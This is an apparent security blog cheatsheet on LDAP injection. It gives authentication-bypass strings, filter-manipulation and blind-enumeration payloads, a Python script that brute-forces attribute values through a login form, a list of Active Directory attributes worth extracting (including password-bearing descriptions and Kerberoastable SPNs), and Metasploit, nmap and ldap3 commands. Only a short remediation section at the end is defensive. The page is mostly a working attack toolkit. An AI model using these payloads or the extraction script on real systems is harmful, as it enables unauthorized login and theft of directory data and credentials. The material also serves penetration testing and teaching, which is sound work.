← Back to writing
Tools & Cheatsheets

LDAP Injection

Mar 28, 2025
3 min read
lawbyte

LDAP injection occurs when user input is unsafely embedded into LDAP queries. Unlike SQL injection, LDAP injection is less commonly tested — but it’s prevalent in enterprise apps authenticating against Active Directory.

LDAP Query Basics

# Authentication query structure
(&(uid=USER_INPUT)(password=PASS_INPUT))

# User search query
(uid=USER_INPUT)

# Filter combining conditions
(&(condition1)(condition2)) # AND
(|(condition1)(condition2)) # OR
(!(condition)) # NOT

# Special chars in LDAP
* \ ( ) NULL \00

Authentication Bypass

# Close the filter and add always-true condition
Username: admin)(&
Password: any

# Resulting query: (&(uid=admin)(&)(password=any))
# (&) is always true → bypasses password check

# Wildcard in username
Username: *
Password: *
# Resulting query: (&(uid=*)(password=*)) → matches any user

# Comment-style bypass (service-dependent)
Username: admin)(%00
Password: anything

# Bypass with OR
Username: *)(uid=*))(|(uid=*
Password: anything

LDAP Filter Manipulation

# Extract all users (if search results returned)
*)(uid=*))(|(uid=*

# Access admin when only normal users visible
*)(|(cn=admin

# Enumerate object classes
*)(objectClass=*
*)(objectClass=person
*)(objectClass=user
*)(objectClass=computer
*)(objectClass=groupOfNames

Blind LDAP Injection (Attribute Enumeration)

When no data is returned but behavior changes (e.g. login succeeds/fails):

# Test: does admin exist?
admin)(&(cn=a* → success (cn starts with 'a')
admin)(&(cn=b* → fail (cn doesn't start with 'b')

# Extract CN character by character:
admin)(&(cn=a* → success → first char is 'a' or later
admin)(&(cn=ad* → success → starts with 'ad'
admin)(&(cn=adm* → success → starts with 'adm'
...

Python Blind Extraction Script

import requests

target = "https://target.com/login"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def test_char(prefix, char):
data = {
"username": f"admin)(&(cn={prefix}{char}*",
"password": "x"
}
r = requests.post(target, data=data)
# Adjust based on success indicator
return "Welcome" in r.text or r.status_code == 302

def extract_attribute():
result = ""
for _ in range(30): # max 30 chars
found = False
for c in charset:
if test_char(result, c):
result += c
print(f"[+] Found: {result}")
found = True
break
if not found:
break
return result

print(f"[*] Extracted: {extract_attribute()}")

Payloads List

# Authentication bypasses
*
*)(&
*))%00
*()|%26'
*()|&'
*(|(password=*)
*(|(objectclass=*)
)(&(password=anything
admin)(&

# Filter escapes
\2a → * (wildcard)
\28 → (
\29 → )
\5c → \
\00 → NULL byte

# Wildcard searches (if * is allowed in queries)
a*
*a
*a*

# Always-true filters
(cn=*)
(objectClass=*)
(&)
(|(cn=*)(cn=*))

Active Directory LDAP Attributes

# Interesting attributes to extract via blind injection
cn # Common Name (full name)
sAMAccountName # Username (login name)
mail # Email address
memberOf # Group memberships
userPrincipalName # UPN (user@domain)
distinguishedName # Full DN path
pwdLastSet # Password last set timestamp
userAccountControl # Account flags (disabled, locked, etc.)
description # Often contains passwords!
adminCount # 1 = protected admin account
servicePrincipalName # SPNs — Kerberoastable

Testing Approach

1. Identify LDAP-backed login forms or search fields
- Enterprise apps: SharePoint, Confluence, Jenkins, custom HR systems
- Usually on /login, /search, or /directory pages

2. Test authentication bypass first
- Username: * Password: *
- Username: admin)(& Password: anything

3. Check for error messages revealing LDAP internals
- "Invalid DN syntax"
- "javax.naming.NamingException"
- "LDAP: error code"

4. If blind, test with timing or boolean-based extraction
- If error page vs success page differ → boolean extraction

5. Common vulnerable parameters
- username, user, uid, login, email, q (search)

Tools

# ldap-brute (Metasploit)
use auxiliary/scanner/ldap/ldap_login

# ldapsearch (verify queries manually)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "user@domain.local" -w password "(uid=*)"

# nmap LDAP scripts
nmap -p 389 --script ldap-brute,ldap-search target.com
nmap -p 389 --script ldap-search --script-args "ldap.base='DC=domain,DC=local'" target.com

# Manual with Python ldap3
pip install ldap3
python3 -c "
from ldap3 import Server, Connection, ALL
s = Server('ldap://target.com', get_info=ALL)
c = Connection(s, 'cn=admin,dc=domain,dc=local', 'password', auto_bind=True)
c.search('dc=domain,dc=local', '(objectclass=person)', attributes=['cn', 'mail'])
print(c.entries)
"

Remediation

# Use parameterized LDAP queries (escaped input)
# Java example:
String safe = LdapEncoder.filterEncode(userInput);
String query = "(uid=" + safe + ")";

# Python ldap3 escaping
from ldap3.utils.conv import escape_filter_chars
safe_input = escape_filter_chars(user_input)

# Validate input: only allow alphanumeric + @._-
# Reject special chars: * ( ) \ / NULL

# Run LDAP service account with minimal permissions
# Use separate read-only credentials for authentication queries

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.